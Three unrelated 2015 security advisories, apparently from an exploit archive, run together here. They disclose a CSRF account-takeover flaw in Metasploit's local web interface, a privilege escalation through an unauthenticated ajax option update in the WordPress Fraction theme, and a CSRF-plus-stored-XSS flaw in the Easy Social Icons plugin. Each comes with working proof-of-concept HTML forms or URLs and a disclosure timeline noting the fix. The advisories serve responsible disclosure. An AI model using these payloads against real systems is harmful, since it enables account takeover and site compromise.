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# Exploit Title: Metasploit Project initial User Creation CSRF # Google Dork: N/A # Date: 14-2-2015 # Exploit Author: Mohamed Abdelbaset Elnoby (@SymbianSyMoh) # Vendor Homepage: http://www.metasploit.com/ # Software Link: http://www.rapid7.com/products/metasploit/editions-and-features.jsp # Version: Free/Pro < 4.11.1 (Update 2015021901) # Tested on: All OS # CVE : N/A Vulnerability: Cross Site Request Forgery - (CSRF) Info: http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF) More Details: After doing some research, i have found that the anti csrf token "authenticity_token" value is not validated from the local server side which will result in a more csrf attack scenario around the whole local metasploit project. Affected URL(s)/PoC Code(s): -Change Local Metasploit Project User Settings <html> <body> <form action="https://127.0.0.1:3790/users/1" method="POST"> <input type="hidden" name="utf8" value="?" /> <input type="hidden" name="_method" value="put" /> <input type="hidden" name="authenticity_token" value="" /> <input type="hidden" name="user[fullname]" value="Attacker" /> <input type="hidden" name="user[email]" value="EMAIL" /> <input type="hidden" name="user[company]" value="COMPANY" /> <input type="hidden" name="user[time_zone]" value="Cairo" /> <input type="hidden" name="commit" value="Save Settings" /> <input type="submit" value="Submit form" /> </form> </body> </html> -Full Local Metasploit Project Account Takeover before setting up the first user settings <html> <body> <form action="https://127.0.0.1:3790/users" method="POST"> <input type="hidden" name="utf8" value="?" /> <input type="hidden" name="authenticity_token" value="" /> <input type="hidden" name="user[username]" value="Username" /> <input type="hidden" name="user[password]" value="PASSWORD" /> <input type="hidden" name="user[password_confirmation]" value="PASSWORD" /> <input type="hidden" name="user[fullname]" value="FUll_Name" /> <input type="hidden" name="user[email]" value="EMAIL" /> <input type="hidden" name="user[company]" value="COMPANY" /> <input type="hidden" name="user[time_zone]" value="Cairo" /> <input type="hidden" name="commit" value="Create Account" /> <input type="submit" value="Submit form" /> </form> </body> </html> More Details/Impact: -Change Local Metasploit Project User Settings -Full Local Metasploit Project Account Takeover before setting up the first user settings Report Timeline: [-] 14/02/2015: Reported to Rapid7 Security Team [-] 14/02/2015: Initial Reply from HD Moore acknowledging the vulnerability [-] 17/02/2015: Reply from "Eray Yilmaz" about the Operation and public disclosure rules [-] 20/02/2015: Reply from "Eray Yilmaz" about releasing a patch for the vulnerability in place, Fixed in Update 4.11.1 (Update 2015021901), https://community.rapid7.com/docs/DOC-3010 [-] 16/03/2015: Public Disclosure Thanks -- *Best Regards**,**,* *Mohamed Abdelbaset Elnoby*Guru Programmer, Information Security Evangelist & Bug Bounty Hunter. LinkedIn <https://www.linkedin.com/in/symbiansymoh>Curriculum Vitae <http://goo.gl/cNrVpL> <https://www.linkedin.com/in/symbiansymoh>Facebook <https://fb.com/symbiansymoh>Twitter <https://twitter.com/symbiansymoh> Source
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------------------------------------------------------------------------------ WordPress Fraction Theme 1.1.1 Previlage Escalation ------------------------------------------------------------------------------ [-] Theme Link: http://themeforest.net/item/fraction-multipurpose-news-magazine-theme/8655281 [-] Affected Version: Version: 1.1.1 [-] Vulnerability Description: This vulnerability allows an attacker to escalate privileges on the site and have an admin account which may lead to a full site takeover the vulnerability is in /fraction-theme/functions/ajax.php there is this function called "ot_save_options": function ot_save_options() { $fields = $_REQUEST; foreach($fields as $key => $field) { if($key!="action") { update_option($key,$field); } } die(); } passing user input into the update_option function allows an attacker to update options like users_can_register,default_role.... etc this can be accessed via ajax by users and non-users: add_action('wp_ajax_nopriv_ot_save_options', 'ot_save_options'); add_action('wp_ajax_ot_save_options', 'ot_save_options'); [-] Proof of Concept: this will enable user registration http://localhost/wordpress/wp-admin/admin-ajax.php?action=ot_save_options&users_can_register=1 [-] Timeline: 09 March - Vendor Notified 09 March - Vendor Replied 10 March - Fix Released 10 March - Public Disclosure [-] References: http://research.evex.pw/?vuln=8 @evex_1337 Source
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==================================================== Product: Easy Social Icons WordPress plugin Vendor: CyberNetikz Tested Version: 1.2.2 Vulnerability Type: XSS [CWE-79] and CSRF [CWE-352] Risk Level: Medium Solution Status: Solved in version 1.2.3 Discovered and Provided: Eric Flokstra - ITsec Security Services ==================================================== [-] About the Vendor: Easy Social Icons is a WordPress plugin and can be used to set icons on the public page in order to link to social media platforms such as LinkedIn, Twitter or Facebook. [-] Advisory Details: It is discovered that insufficient validation is performed on the 'image_file' parameter enabling arbitrary JavaScript to be injected. On top of that no random tokens are used to prevent CSRF attacks. By combining these vulnerabilities an attacker could for example trick an admin into setting a persistent XSS payload on the public WordPress page. [-] Proof of Concept: <html> <body> <form action="http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1" <http://10.0.2.215/wordpress/wp-admin/admin.php?page=cnss_social_icon_add&mode=edit&id=1> method="POST" enctype="multipart/form-data"> <input type="hidden" name="title" value="Example" /> <input type="hidden" name="image_file" value="http://10.0.2.215/wordpress/wp-content/uploads/2015/02/cookie.jpg"><script>alert(1)</script>" /> <input type="hidden" name="url" value="http://www.example.org" /> <input type="hidden" name="sortorder" value="0" /> <input type="hidden" name="target" value="1" /> <input type="hidden" name="action" value="edit" /> <input type="hidden" name="id" value="1" /> <input type="hidden" name="submit_button" value="Save Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html> [-] Disclosure Timeline: [02 Feb 2015]: Vendor notification [02 Feb 2015]: Vulnerability confirmation [11 Feb 2015]: Vulnerability patched [19 Feb 2015]: Public disclosure [-] Solution: Update to the latest version of Easy Social Icons. [-] References: [1] Easy Social Icons Changelog -- https://wordpress.org/plugins/easy-social-icons/changelog/ [2] Common Weakness Enumeration (CWE) -- http://cwe.mitre.org [3] ITsec Security Services BV -- http://www.itsec.nl ------------------------------------------------------------------------ ITsec Security Services bv. (KvK. 34181927) Postal Address: P.O. Box 5120, 2000GC Haarlem Visitors Address: Kenaupark 23, 2011 MR Haarlem Phone: +31 - (0)23 542 05 78 The information contained in this email communication is confidential and is intended solely for the use of the individual or entity to whom it is addressed and others authorized to receive it. If you are not the intended recipient, you are hereby notified that any disclosure, copying,distribution, or taking any action in reliance of the contents of this information is strictly prohibited and may be unlawful. No rights may be attached to this message. ITsec does not accept any liability for incorrect and incomplete transmission or delayed receipt of this e-mail nor for the effects or damages caused by the direct or indirect use of the information or functionality provided by this posting, nor the content contained within.Use them at your own risk. Source
